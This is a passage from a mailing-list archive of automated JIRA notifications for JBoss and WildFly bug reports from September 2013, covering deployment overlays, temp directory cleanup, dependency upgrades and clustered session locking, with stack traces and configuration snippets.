From: jira-events at lists.jboss.org (Tom Fonteyne (JIRA))
Date: Mon, 2 Sep 2013 09:42:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBWEB-279) Overlays do not work as
	expected
In-Reply-To: <JIRA.12499426.1377602799000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499426.1377602799000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499426.1377602799000.4413.1378129323462@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBWEB-279?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800915#comment-12800915 ] 

Tom Fonteyne commented on JBWEB-279:
------------------------------------

Remu, from your own words:

> AS added at some point another feature called "overlay", which is not the same thing (here, it is a proprietary feature unrelated to any EE spefication

and this functionality in jbossweb is *broken*
                
> Overlays do not work as expected
> --------------------------------
>
>                 Key: JBWEB-279
>                 URL: https://issues.jboss.org/browse/JBWEB-279
>             Project: JBoss Web
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: Core
>    Affects Versions: JBossWeb-7.2.1.GA
>            Reporter: Mustafa Musaji
>            Assignee: Remy Maucherat
>         Attachments: fix.proposal.txt
>
>
> It is expected that the <overlay> element in jboss-web.xml has the same outcome as the overlay feature in the CLI: https://docs.jboss.org/author/display/AS72/Deployment+Overlays
> In jboss-web.xml the overlays element is not used to actually overlay existing files but to add files to a deployment. This is confusing and either this should work the same as the CLI or the documentation around the <overlay> element in jboss-web.xml should clearly state this is not the case and that we do not replace artifacts but rather 
> Attached is a proposed patch that fixes this issue.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 09:44:04 2013
From: jira-events at lists.jboss.org (jaikiran pai (JIRA))
Date: Mon, 2 Sep 2013 09:44:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1547) deploy directories not
	cleaned up
In-Reply-To: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12479851.1353935247000.4426.1378129444081@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1547?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

jaikiran pai reassigned WFLY-1547:
----------------------------------

    Assignee: jaikiran pai  (was: Bartosz Baranowski)

    
> deploy directories not cleaned up
> ---------------------------------
>
>                 Key: WFLY-1547
>                 URL: https://issues.jboss.org/browse/WFLY-1547
>             Project: WildFly
>          Issue Type: Bug
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Shaun Appleton
>            Assignee: jaikiran pai
>         Attachments: deployment_with_hack_no_hook.txt
>
>
> JBoss EAP 6.0.0 (and 6.0.1.ER3) doesn't clean up it's tmp/vfs directories.
> The following reproduces this -
> i) ensure run.conf has the -Xrs set
> ii) ensure deployments has a deployable .ear in it
> iii) ./run standalone.sh and allow the deployments to deploy
> iv) stop the EAP process ie kill <process_id>
> v) observe content tmp/vfs
> (The -Xrs parameter is used to "-Xrs" to prevent possible interference when JVM is running as a service and receives CTRL_LOGOFF_EVENT or SIGHUP)
> This will eventually cause problems with lack of disk space.
> Note if the -Xrs parameter content is removed but the tmp/vfs dirs stills exist. This could potentially cause inode problems.
> It would be better if there were any additional code so the temp dirs are cleaned up on start up. That would resolve both the -Xrs problem and the excessive dir creation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 09:52:03 2013
From: jira-events at lists.jboss.org (Remy Maucherat (JIRA))
Date: Mon, 2 Sep 2013 09:52:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBWEB-279) Overlays do not work as
	expected
In-Reply-To: <JIRA.12499426.1377602799000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499426.1377602799000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499426.1377602799000.4465.1378129923471@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBWEB-279?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800919#comment-12800919 ] 

Remy Maucherat commented on JBWEB-279:
--------------------------------------

That functionality is used to implement the spec behavior. Some configurability was added since it appeared to be easy and cheap to do, but as a result it inherits the same behavior. A configuration option can be added to switch that (disabled by default) but the switch can break spec compliant webapps.
                
> Overlays do not work as expected
> --------------------------------
>
>                 Key: JBWEB-279
>                 URL: https://issues.jboss.org/browse/JBWEB-279
>             Project: JBoss Web
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: Core
>    Affects Versions: JBossWeb-7.2.1.GA
>            Reporter: Mustafa Musaji
>            Assignee: Remy Maucherat
>         Attachments: fix.proposal.txt
>
>
> It is expected that the <overlay> element in jboss-web.xml has the same outcome as the overlay feature in the CLI: https://docs.jboss.org/author/display/AS72/Deployment+Overlays
> In jboss-web.xml the overlays element is not used to actually overlay existing files but to add files to a deployment. This is confusing and either this should work the same as the CLI or the documentation around the <overlay> element in jboss-web.xml should clearly state this is not the case and that we do not replace artifacts but rather 
> Attached is a proposed patch that fixes this issue.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 10:15:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 2 Sep 2013 10:15:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBVFS-190) ANDIAMO-7 compliance
In-Reply-To: <JIRA.12499766.1378131212332@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499766.1378131212332@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499766.1378131212332.4498.1378131303855@jira02.app.mwc.hst.phx2.redhat.com>

Brian Stansberry created JBVFS-190:
--------------------------------------

             Summary: ANDIAMO-7 compliance
                 Key: JBVFS-190
                 URL: https://issues.jboss.org/browse/JBVFS-190
             Project: JBoss VFS
          Issue Type: Feature Request
      Security Level: Public (Everyone can see)
            Reporter: Brian Stansberry


Adjust logging and exception messages to comply with the ANDIAMO-7 i18n and message format requirements.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 10:23:03 2013
From: jira-events at lists.jboss.org (jaikiran pai (JIRA))
Date: Mon, 2 Sep 2013 10:23:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1547) deploy directories not
	cleaned up
In-Reply-To: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12479851.1353935247000.4516.1378131783551@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1547?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800933#comment-12800933 ] 

jaikiran pai commented on WFLY-1547:
------------------------------------

A PR has been sent to VFS upstream https://github.com/jbossas/jboss-vfs/pull/15 to introduce an API which helps fix this issue. Once that's reviewed, merged and released, a minor change to WildFly server code to use that new API will ensure that this issue is fixed. I'll talk to Tomaz and David this week, to see if we can get a VFS release done and then send a WildFly upstream PR for that upgrade and the fix.


                
> deploy directories not cleaned up
> ---------------------------------
>
>                 Key: WFLY-1547
>                 URL: https://issues.jboss.org/browse/WFLY-1547
>             Project: WildFly
>          Issue Type: Bug
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Shaun Appleton
>            Assignee: jaikiran pai
>         Attachments: deployment_with_hack_no_hook.txt
>
>
> JBoss EAP 6.0.0 (and 6.0.1.ER3) doesn't clean up it's tmp/vfs directories.
> The following reproduces this -
> i) ensure run.conf has the -Xrs set
> ii) ensure deployments has a deployable .ear in it
> iii) ./run standalone.sh and allow the deployments to deploy
> iv) stop the EAP process ie kill <process_id>
> v) observe content tmp/vfs
> (The -Xrs parameter is used to "-Xrs" to prevent possible interference when JVM is running as a service and receives CTRL_LOGOFF_EVENT or SIGHUP)
> This will eventually cause problems with lack of disk space.
> Note if the -Xrs parameter content is removed but the tmp/vfs dirs stills exist. This could potentially cause inode problems.
> It would be better if there were any additional code so the temp dirs are cleaned up on start up. That would resolve both the -Xrs problem and the excessive dir creation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 10:42:03 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Mon, 2 Sep 2013 10:42:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBVFS-190) ANDIAMO-7 compliance
In-Reply-To: <JIRA.12499766.1378131212000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499766.1378131212000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499766.1378131212000.4590.1378132923583@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBVFS-190?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar reassigned JBVFS-190:
---------------------------------

    Assignee: Tomaz Cerar

    
> ANDIAMO-7 compliance
> --------------------
>
>                 Key: JBVFS-190
>                 URL: https://issues.jboss.org/browse/JBVFS-190
>             Project: JBoss VFS
>          Issue Type: Feature Request
>      Security Level: Public(Everyone can see) 
>            Reporter: Brian Stansberry
>            Assignee: Tomaz Cerar
>
> Adjust logging and exception messages to comply with the ANDIAMO-7 i18n and message format requirements.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 10:44:03 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Mon, 2 Sep 2013 10:44:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBVFS-190) ANDIAMO-7 compliance
In-Reply-To: <JIRA.12499766.1378131212000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499766.1378131212000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499766.1378131212000.4594.1378133043500@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBVFS-190?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar updated JBVFS-190:
------------------------------

    Affects Version/s: 3.2.0.Beta1

    
> ANDIAMO-7 compliance
> --------------------
>
>                 Key: JBVFS-190
>                 URL: https://issues.jboss.org/browse/JBVFS-190
>             Project: JBoss VFS
>          Issue Type: Feature Request
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 3.2.0.Beta1
>            Reporter: Brian Stansberry
>            Assignee: Tomaz Cerar
>
> Adjust logging and exception messages to comply with the ANDIAMO-7 i18n and message format requirements.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 10:44:03 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Mon, 2 Sep 2013 10:44:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBVFS-190) ANDIAMO-7 compliance
In-Reply-To: <JIRA.12499766.1378131212000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499766.1378131212000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499766.1378131212000.4600.1378133043786@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBVFS-190?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar updated JBVFS-190:
------------------------------

    Fix Version/s: 3.2.0.Beta1

    
> ANDIAMO-7 compliance
> --------------------
>
>                 Key: JBVFS-190
>                 URL: https://issues.jboss.org/browse/JBVFS-190
>             Project: JBoss VFS
>          Issue Type: Feature Request
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 3.2.0.Beta1
>            Reporter: Brian Stansberry
>            Assignee: Tomaz Cerar
>             Fix For: 3.2.0.Beta1
>
>
> Adjust logging and exception messages to comply with the ANDIAMO-7 i18n and message format requirements.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 10:48:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 2 Sep 2013 10:48:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-157) drools-compiler depends on
 antlr 2.7.7 and 3.3. Upgrade to antlr 3.4 to avoid having to depend on 2.x
 and 3.x at the same time
In-Reply-To: <JIRA.12444626.1313307784000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12444626.1313307784000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12444626.1313307784000.4614.1378133283712@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-157?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800943#comment-12800943 ] 

RH Bugzilla Integration commented on DROOLS-157:
------------------------------------------------

Luk?? Petrovick? <lpetrovi at redhat.com> changed the Status of [bug 996028|https://bugzilla.redhat.com/show_bug.cgi?id=996028] from ON_QA to VERIFIED
                
> drools-compiler depends on antlr 2.7.7 and 3.3. Upgrade to antlr 3.4 to avoid having to depend on 2.x and 3.x at the same time
> ------------------------------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-157
>                 URL: https://issues.jboss.org/browse/DROOLS-157
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Marcel May
>            Assignee: Edson Tirelli
>            Priority: Critical
>              Labels: maven
>             Fix For: 6.0.0.CR2
>
>
> drools-compiler uses antlr 3.3 but has an additional dependency on old antlr:antlr 2.7.7 version.
> The v2 dependency is obsolete since antlr 3.1 (see http://www.antlr.org/jira/browse/ANTLR-180).
> Please remove the antlr:antlr dependency, for the next 5.2.x / 5.3.x release - thanks!

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep  2 10:48:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 2 Sep 2013 10:48:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-157) drools-compiler depends on
 antlr 2.7.7 and 3.3. Upgrade to antlr 3.4 to avoid having to depend on 2.x
 and 3.x at the same time
In-Reply-To: <JIRA.12444626.1313307784000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12444626.1313307784000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12444626.1313307784000.4611.1378133283604@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-157?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800942#comment-12800942 ] 

RH Bugzilla Integration commented on DROOLS-157:
------------------------------------------------

Luk?? Petrovick? <lpetrovi at redhat.com> made a comment on [bug 996028|https://bugzilla.redhat.com/show_bug.cgi?id=996028]

ANTLR 3.3 is nowhere to be found, ANTLR 3.5 is present. VERIFIED on ER2.
                
> drools-compiler depends on antlr 2.7.7 and 3.3. Upgrade to antlr 3.4 to avoid having to depend on 2.x and 3.x at the same time
> ------------------------------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-157
>                 URL: https://issues.jboss.org/browse/DROOLS-157
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Marcel May
>            Assignee: Edson Tirelli
>            Priority: Critical
>              Labels: maven
>             Fix For: 6.0.0.CR2
>
>
> drools-compiler uses antlr 3.3 but has an additional dependency on old antlr:antlr 2.7.7 version.
> The v2 dependency is obsolete since antlr 3.1 (see http://www.antlr.org/jira/browse/ANTLR-180).
> Please remove the antlr:antlr dependency, for the next 5.2.x / 5.3.x release - thanks!

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep  2 12:29:03 2013
From: jira-events at lists.jboss.org (Juergen Zimmermann (JIRA))
Date: Mon, 2 Sep 2013 12:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1533) UT015005: Error invoking
 method requestDestroyed on listener class
In-Reply-To: <JIRA.12494311.1371222584000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494311.1371222584000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494311.1371222584000.4684.1378139343489@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1533?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800962#comment-12800962 ] 

Juergen Zimmermann commented on WFLY-1533:
------------------------------------------

Josef, I'm out of town until Friday. Then I'll put together a testcase.
                
> UT015005: Error invoking method requestDestroyed on listener class 
> -------------------------------------------------------------------
>
>                 Key: WFLY-1533
>                 URL: https://issues.jboss.org/browse/WFLY-1533
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld
>    Affects Versions: 8.0.0.Alpha2, 8.0.0.Alpha4
>            Reporter: Juergen Zimmermann
>            Assignee: Jozef Hartinger
>
> I'm using a WildFly snapshot with Undertow 1.0.0.Alpha19 and Weld 2.0.1.Final. I'm getting the following stacktrace:
> 16:55:04,534 ERROR [io.undertow.servlet.request] UT015005: Error invoking method requestDestroyed on listener class org.jboss.weld.servlet.WeldListener: java.lang.IllegalStateException: UT000010: Session not found MDEkG_Aum5OlXUsjh11kGkh9
> 	at io.undertow.server.session.InMemorySessionManager$SessionImpl.getAttribute(InMemorySessionManager.java:221) [undertow-core-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.servlet.spec.HttpSessionImpl.getAttribute(HttpSessionImpl.java:106) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at org.jboss.weld.context.http.HttpConversationContextImpl.getSessionAttribute(HttpConversationContextImpl.java:25) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at org.jboss.weld.context.http.HttpConversationContextImpl.getSessionAttribute(HttpConversationContextImpl.java:13) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at org.jboss.weld.context.AbstractConversationContext.dissociate(AbstractConversationContext.java:161) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at org.jboss.weld.servlet.ConversationContextActivator.disassociateConversationContext(ConversationContextActivator.java:162) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at org.jboss.weld.servlet.HttpContextLifecycle.requestDestroyed(HttpContextLifecycle.java:159) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at org.jboss.weld.servlet.WeldListener.requestDestroyed(WeldListener.java:91) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at io.undertow.servlet.core.ApplicationListeners.requestDestroyed(ApplicationListeners.java:196) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:159) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:114) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:47) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:90) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:607) [undertow-core-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 13:11:03 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Mon, 2 Sep 2013 13:11:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBVFS-190) ANDIAMO-7 compliance
In-Reply-To: <JIRA.12499766.1378131212000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499766.1378131212000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499766.1378131212000.4735.1378141863582@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBVFS-190?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar resolved JBVFS-190.
-------------------------------

    Resolution: Done

    
> ANDIAMO-7 compliance
> --------------------
>
>                 Key: JBVFS-190
>                 URL: https://issues.jboss.org/browse/JBVFS-190
>             Project: JBoss VFS
>          Issue Type: Feature Request
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 3.2.0.Beta1
>            Reporter: Brian Stansberry
>            Assignee: Tomaz Cerar
>             Fix For: 3.2.0.Beta1
>
>
> Adjust logging and exception messages to comply with the ANDIAMO-7 i18n and message format requirements.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 14:18:03 2013
From: jira-events at lists.jboss.org (kelly goedert (JIRA))
Date: Mon, 2 Sep 2013 14:18:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-845) Cluster Environment Web
	Session Locks
In-Reply-To: <JIRA.12483554.1359225258000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12483554.1359225258000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12483554.1359225258000.4753.1378145883944@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-845?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800967#comment-12800967 ] 

kelly goedert commented on WFLY-845:
------------------------------------

I have the same problem, and upgrading to version 7.1.3 made no difference to me either
                
> Cluster Environment Web Session Locks
> -------------------------------------
>
>                 Key: WFLY-845
>                 URL: https://issues.jboss.org/browse/WFLY-845
>             Project: WildFly
>          Issue Type: Bug
>          Components: Clustering
>         Environment: Windows 7 64bits, 8 GB RAM
>            Reporter: Manuel Pinto
>            Assignee: Paul Ferraro
>             Fix For: 8.0.0.Alpha2
>
>         Attachments: AS7-4260.patch
>
>
> Hi,
> I found a problem with web session locks in a cluster environment. We have two Liferay 6.1.1 nodes (over JBoss 7.1.1 Final) in standalone-ha.xml configuration with infinispan "web" cache-container, replicated-cache and file store. The load balancer is configured in non sticky session mode.
> Problem: when a node processes requests in some cases locks the session and never unlock it, preventing other node from processing requests for that session. The affected node never regain the locked session and keep throwing the following exception for all subsequent requests and only recover a session when other node shutdown:
> Note: we also tried invalidation-cache and distributed-cache and all locking modes but without success.
> 17:39:00,174 ERROR [org.apache.catalina.connector.CoyoteAdapter] (http--172.16.250.105-8080-4) An exception or error occurred in the container during the request processing: java.lang.RuntimeException: JBAS018060: Exception acquiring ownership of Cvn-K+r-cBGesIBoDrakJhrO
> at org.jboss.as.web.session.ClusteredSession.acquireSessionOwnership(ClusteredSession.java:528) [jboss-as-web-7.1.1.Final.jar:7.1.1.Final]
> at org.jboss.as.web.session.ClusteredSession.access(ClusteredSession.java:496) [jboss-as-web-7.1.1.Final.jar:7.1.1.Final]
> at org.apache.catalina.connector.Request.doGetSession(Request.java:2625) [jbossweb-7.0.13.Final.jar:]
> at org.apache.catalina.connector.Request.getSession(Request.java:2375) [jbossweb-7.0.13.Final.jar:]
> at org.jboss.as.web.security.SecurityContextAssociationValve.invoke(SecurityContextAssociationValve.java:81) [jboss-as-web-7.1.1.Final.jar:7.1.1.Final]
> at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:155) [jbossweb-7.0.13.Final.jar:]
> at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) [jbossweb-7.0.13.Final.jar:]
> at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) [jbossweb-7.0.13.Final.jar:]
> at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:368) [jbossweb-7.0.13.Final.jar:]
> at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:877) [jbossweb-7.0.13.Final.jar:]
> at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:671) [jbossweb-7.0.13.Final.jar:]
> at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:930) [jbossweb-7.0.13.Final.jar:]
> at java.lang.Thread.run(Thread.java:662) [rt.jar:1.6.0_32]
> Caused by: org.jboss.as.clustering.lock.TimeoutException: JBAS010223: Cannot acquire lock //default-host//Cvn-K+r-cBGesIBoDrakJhrO from cluster
> at org.jboss.as.clustering.lock.SharedLocalYieldingClusterLockManager.lock(SharedLocalYieldingClusterLockManager.java:439)
> at org.jboss.as.clustering.web.infinispan.DistributedCacheManager.acquireSessionOwnership(DistributedCacheManager.java:372)
> at org.jboss.as.web.session.ClusteredSession.acquireSessionOwnership(ClusteredSession.java:520) [jboss-as-web-7.1.1.Final.jar:7.1.1.Final]
> ... 12 more
> The standalone-ha.xml "web" cache-container config is the following:
> <cache-container name="web" aliases="standard-session-cache" default-cache="repl">
> <transport lock-timeout="60000"/>
> <replicated-cache name="repl" mode="SYNC" batching="true">
> <file-store/>
> </replicated-cache>
> <replicated-cache name="sso" mode="SYNC" batching="true"/>
> <distributed-cache name="dist" mode="ASYNC" batching="true">
> <file-store/>
> </distributed-cache>
> </cache-container>
> Thanks,
> Manuel Pinto

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 14:32:03 2013
From: jira-events at lists.jboss.org (Radoslav Husar (JIRA))
Date: Mon, 2 Sep 2013 14:32:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1938) Modcluster subsystem needs
 transformation to 1.3.0 and 1.4.0
In-Reply-To: <JIRA.12499277.1377263697000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499277.1377263697000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499277.1377263697000.4768.1378146723353@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1938?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800969#comment-12800969 ] 

Radoslav Husar commented on WFLY-1938:
--------------------------------------

Model version 1.3.0 was added as part of AS7-4088 to add system properties for commonly parameterized mod_cluster configuration.
                
> Modcluster subsystem needs transformation to 1.3.0 and 1.4.0
> ------------------------------------------------------------
>
>                 Key: WFLY-1938
>                 URL: https://issues.jboss.org/browse/WFLY-1938
>             Project: WildFly
>          Issue Type: Bug
>          Components: Clustering, Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Radoslav Husar
>            Priority: Critical
>             Fix For: 8.0.0.CR1
>
>
> The modcluster subsystem management API has been bumped to 2.0.0 but no transformation to the previous 1.3.0 is present. Presumably the existing transformation to 1.2.0 also hasn't been updated.
> The necessary transformation needs to be added.
> EAP 6.2 will add a 1.4.0 to reflect some added metadata for RBAC (see WFLY-1936). If the 6.2. subsystem has no other management API changes, the transformation for 1.3.0 can be applied for 1.4.0 as well.
> I'm adding some TODOs for this in ModClusterExtension 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 18:02:03 2013
From: jira-events at lists.jboss.org (Frank Langelage (JIRA))
Date: Mon, 2 Sep 2013 18:02:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1981) JSF component disappears on
 refresh using a4j:poll
In-Reply-To: <JIRA.12499779.1378159247948@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499779.1378159247948@jira02.app.mwc.hst.phx2.redhat.com>
